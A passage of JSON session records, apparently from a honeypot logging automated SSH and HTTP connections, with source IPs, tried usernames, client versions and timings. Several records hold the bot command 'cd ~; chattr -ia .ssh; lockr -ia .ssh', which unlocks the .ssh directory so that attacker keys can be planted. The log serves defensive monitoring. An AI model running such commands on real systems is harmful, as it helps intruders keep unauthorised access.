  "id": "36062e27-e4a3-4c33-bc87-566bc1e8c904",
  "name": "stormy-courtly-moose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 54396,
  "username": "edwin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:13:42.696801+00:00",
  "ended_at": "2026-08-27T01:13:43.434335+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f2128fa0-4e09-4406-8d0a-31ffe69a8c6f",
  "name": "courtly-ashen-gadwall",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 54388,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:13:37.450242+00:00",
  "ended_at": "2026-08-27T01:13:38.665761+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dbad60d6-f6e7-4591-8e04-6e4a3b8ce352",
  "name": "rapid-mellow-sparrow",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "43.165.67.31",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:11:26.381705+00:00",
  "ended_at": "2026-08-27T01:27:05.173731+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7927f727-777d-425d-a918-c42e95a40e8c",
  "name": "dusty-honest-plover",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 51866,
  "username": "docker",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 526,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T01:10:45.323484+00:00",
  "ended_at": "2026-08-27T01:10:46.841590+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2246
 },
 {
  "id": "f15d6b87-e607-42db-8100-2207cff5b2fb",
  "name": "lawful-craggy-pelican",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 55712,
  "username": "docker",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:10:27.044299+00:00",
  "ended_at": "2026-08-27T01:10:28.357519+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "460c4b6c-1b72-4a1b-aefc-daf547ac843c",
  "name": "polar-nimble-waxwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 51882,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:10:21.742693+00:00",
  "ended_at": "2026-08-27T01:10:23.407564+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0a041fcb-d2c2-4ce9-ae33-d186f2bb358e",
  "name": "glassy-fleeting-kiwi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.57.121.112",
  "src_port": 40242,
  "username": "makyla",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:08:59.591862+00:00",
  "ended_at": "2026-08-27T01:09:00.165126+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "575f8bc6-f8c8-4f63-925f-1e744944f020",
  "name": "slender-dewy-woodcock",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 33074,
  "username": "ashish",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 550,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T01:07:49.458024+00:00",
  "ended_at": "2026-08-27T01:07:50.570753+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2237
 },
 {
  "id": "dd4e38c5-7703-4d23-b8bc-b9af9bb33a01",
  "name": "smoky-plush-zebu",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 33094,
  "username": "ashish",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:07:29.715384+00:00",
  "ended_at": "2026-08-27T01:07:31.341497+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3019dfd4-5081-44b9-bf53-6e38ab140a00",
  "name": "arctic-fringed-shrike",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 33080,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:07:27.689228+00:00",
  "ended_at": "2026-08-27T01:07:28.666377+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "633faf4c-a0a3-4be5-b02f-5141979685ad",
  "name": "dapper-nimble-hyrax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 56552,
  "username": "root2",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 547,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T01:04:49.081590+00:00",
  "ended_at": "2026-08-27T01:04:50.555496+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2270
 },
 {
  "id": "634d7e91-4703-4103-997c-a62388a67bd7",
  "name": "curious-cosmic-finch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 34292,
  "username": "root2",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:04:28.983368+00:00",
  "ended_at": "2026-08-27T01:04:30.616069+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "55145ca7-0bf5-4eed-983b-469d72b4220e",
  "name": "kindly-thorny-panther",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 34288,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:04:25.152372+00:00",
  "ended_at": "2026-08-27T01:04:26.498607+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7f8a683d-c998-4bfb-8289-f4c8d89b5f48",
  "name": "emerald-dutiful-gecko",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.29",
  "src_port": 22252,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:03:48.768404+00:00",
  "ended_at": "2026-08-27T01:03:50.419989+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "53ff8ccc-cf47-4170-a33c-af3e7ec1aa6f",
  "name": "upland-hushed-sloth",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 52344,
  "username": "es",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 515,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T01:01:44.923784+00:00",
  "ended_at": "2026-08-27T01:01:46.412093+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2205
 },
 {
  "id": "30865403-9f85-43f1-85c3-e91a7b1d4cb1",
  "name": "languid-arctic-polecat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 38198,
  "username": "es",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:01:24.129138+00:00",
  "ended_at": "2026-08-27T01:01:25.330560+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "69167e8e-f238-43de-b008-bbff6950fb50",
  "name": "foggy-umber-warbler",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 52360,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:01:20.641544+00:00",
  "ended_at": "2026-08-27T01:01:22.395353+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1eb9becb-5917-4909-abae-8e8de94624a8",
  "name": "smooth-golden-elk",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 60154,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:00:40.864517+00:00",
  "ended_at": "2026-08-27T01:01:04.354284+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8bb1840d-1c97-4d2c-b932-11905850fd71",
  "name": "windswept-civil-francolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 43432,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 555,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:58:29.699246+00:00",
  "ended_at": "2026-08-27T00:58:31.016165+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2247
 },
 {
  "id": "029098bd-0b3d-4b1a-82c0-7cc49eadaedd",
  "name": "thrifty-daring-okapi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 43460,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:58:10.574727+00:00",
  "ended_at": "2026-08-27T00:58:12.399043+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0a91f025-0715-42f7-863f-050704a83b64",
  "name": "earnest-smooth-pelican",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 43446,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:58:06.185502+00:00",
  "ended_at": "2026-08-27T00:58:08.078874+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9c9204b5-b416-4d6d-b3d1-eccace0e90c5",
  "name": "boreal-serene-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 45992,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 544,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:55:24.223136+00:00",
  "ended_at": "2026-08-27T00:55:25.280584+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2238
 },
 {
  "id": "b378f839-feba-4f89-bf82-2d679558f6a6",
  "name": "mindful-fierce-firefly",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 52606,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:55:04.786076+00:00",
  "ended_at": "2026-08-27T00:55:06.183159+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a8069ee5-aae6-434a-aafc-785d25248b8d",
  "name": "freckled-fickle-parakeet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 46000,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:54:59.780592+00:00",
  "ended_at": "2026-08-27T00:55:01.833612+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9dc4ef9c-3031-4587-b567-997bc168067c",
  "name": "gleaming-austere-guanaco",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 42424,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 567,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:52:18.999740+00:00",
  "ended_at": "2026-08-27T00:52:20.000176+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2170
 },
 {
  "id": "ba08fdbc-7517-4a23-a08f-94efa8de1f8c",
  "name": "primal-upland-fossa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 54736,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:51:59.886901+00:00",
  "ended_at": "2026-08-27T00:52:00.669408+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "002bc0cc-83cf-4677-94c6-16569195cebe",
  "name": "tawny-freckled-ibex",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 54726,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:51:55.793745+00:00",
  "ended_at": "2026-08-27T00:51:56.954477+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cc4229b0-76f4-4588-b70a-92eee7a51923",
  "name": "sincere-verdant-cheetah",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 39982,
  "username": "debian",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 516,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:49:16.596636+00:00",
  "ended_at": "2026-08-27T00:49:17.603128+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2169
 },
 {
  "id": "51356eec-cdad-413c-a2de-85e49e02044f",
  "name": "lucid-polar-francolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 35372,
  "username": "debian",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:48:58.089382+00:00",
  "ended_at": "2026-08-27T00:48:58.758378+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3452db8a-1de1-4515-9204-c5fe73e060d8",
  "name": "mossy-courtly-oxpecker",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 39984,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:48:53.419323+00:00",
  "ended_at": "2026-08-27T00:48:54.626425+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5be2bae5-e4d0-4d02-9ba3-372a708e2474",
  "name": "sleepy-velvet-okapi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.163.40.5",
  "src_port": 51309,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:48:03.835335+00:00",
  "ended_at": "2026-08-27T00:48:04.926486+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f14603ce-64fa-487a-925d-10e666b06954",
  "name": "sturdy-wistful-moose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 59729,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:47:23.791647+00:00",
  "ended_at": "2026-08-27T00:47:31.752390+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9f734da3-9d18-470b-8ac2-f370ec450cbf",
  "name": "cobalt-smooth-seal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "179.102.26.14",
  "src_port": 3832,
  "username": "core",
  "client_version": "SSH-2.0-libssh_0.11.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 420,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:47:10.978402+00:00",
  "ended_at": "2026-08-27T00:47:11.698129+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2042
 },
 {
  "id": "ed37cd1e-25db-43fa-ac9c-d1a8bacdd49f",
  "name": "grassy-boreal-mallard",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "179.102.26.14",
  "src_port": 3819,
  "username": "core",
  "client_version": "SSH-2.0-libssh_0.11.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:47:02.004207+00:00",
  "ended_at": "2026-08-27T00:47:02.805630+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6768410c-4743-49ac-a53b-d9d23c1bdeda",
  "name": "nameless-thrifty-skua",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "179.102.26.14",
  "src_port": 3833,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.11.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:46:59.469396+00:00",
  "ended_at": "2026-08-27T00:47:01.083764+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a2b864d8-6190-407a-b621-bf22434555cd",
  "name": "nameless-seaward-onager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 57348,
  "username": "gitea",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 508,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:46:10.720378+00:00",
  "ended_at": "2026-08-27T00:46:12.209171+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2163
 },
 {
  "id": "9d15aab0-40f2-4a07-8562-4c2ebbdc078a",
  "name": "cosmic-ginger-tanager",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 57372,
  "username": "gitea",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:45:52.112089+00:00",
  "ended_at": "2026-08-27T00:45:53.842993+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4292b02e-62bb-41bf-a37e-7a1d5b418d69",
  "name": "quiet-hardy-ibex",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 57362,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:45:46.971067+00:00",
  "ended_at": "2026-08-27T00:45:47.771538+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ad11152b-71bd-47ea-8bf9-4e77ac73881f",
  "name": "curious-mindful-plover",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "156.59.29.167",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 Version/17.0 Safari/605.1.15",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:43:11.036897+00:00",
  "ended_at": "2026-08-27T00:59:04.843249+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2ef49375-1827-4419-971a-07984cb2a427",
  "name": "quartz-crimson-whimbrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 57234,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 535,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:42:56.877146+00:00",
  "ended_at": "2026-08-27T00:42:57.957604+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2194
 },
 {
  "id": "8aec264d-7bf5-4ea9-8648-091936fcc903",
  "name": "bashful-rambling-fieldfare",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 57252,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:42:38.443481+00:00",
  "ended_at": "2026-08-27T00:42:39.338062+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bb1bc9d8-0158-480b-ad5c-8d23c2862817",
  "name": "zealous-thorny-moose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 57240,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:42:35.216085+00:00",
  "ended_at": "2026-08-27T00:42:36.187753+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dde58e5b-029f-4a82-b8ec-d79a9bdc7c31",
  "name": "gloomy-rambling-chamois",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 55330,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:41:09.811224+00:00",
  "ended_at": "2026-08-27T00:41:20.422829+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "adf31c64-d818-4456-bb66-cbf9d604d861",
  "name": "graceful-hushed-armadillo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "113.191.145.50",
  "src_port": 53387,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:40:18.640046+00:00",
  "ended_at": "2026-08-27T00:40:20.611051+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1f78f223-366e-4f69-9e15-b5e4f42eaef1",
  "name": "cobalt-hazy-ouzel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 44492,
  "username": "sora",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 556,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:39:54.403067+00:00",
  "ended_at": "2026-08-27T00:39:55.526725+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2126
 },
 {
  "id": "b86f9197-ab88-4c5b-9a80-32dee45d74c0",
  "name": "lunar-placid-flamingo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 39414,
  "username": "sora",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:39:33.762412+00:00",
  "ended_at": "2026-08-27T00:39:34.820212+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3d21b8b5-e977-40d2-a359-f6aa40d2e0fa",
  "name": "wooded-grassy-kiwi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 44502,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:39:29.686547+00:00",
  "ended_at": "2026-08-27T00:39:31.144482+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c9ef5156-8586-4eae-9c3d-5a91117b00e8",
  "name": "forlorn-quiet-impala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "97.74.87.152",
  "src_port": 33282,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 742,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:38:36.484406+00:00",
  "ended_at": "2026-08-27T00:38:37.325893+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2095
 },
 {
  "id": "d0ab1882-ab8c-4289-bd31-fd34077b708a",
  "name": "merry-canny-gharial",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "97.74.87.152",
  "src_port": 33302,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:38:21.568023+00:00",
  "ended_at": "2026-08-27T00:38:23.377240+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "eeaebeac-1c25-4014-86bb-c4ebb4c2d8f6",
  "name": "murky-fierce-warbler",
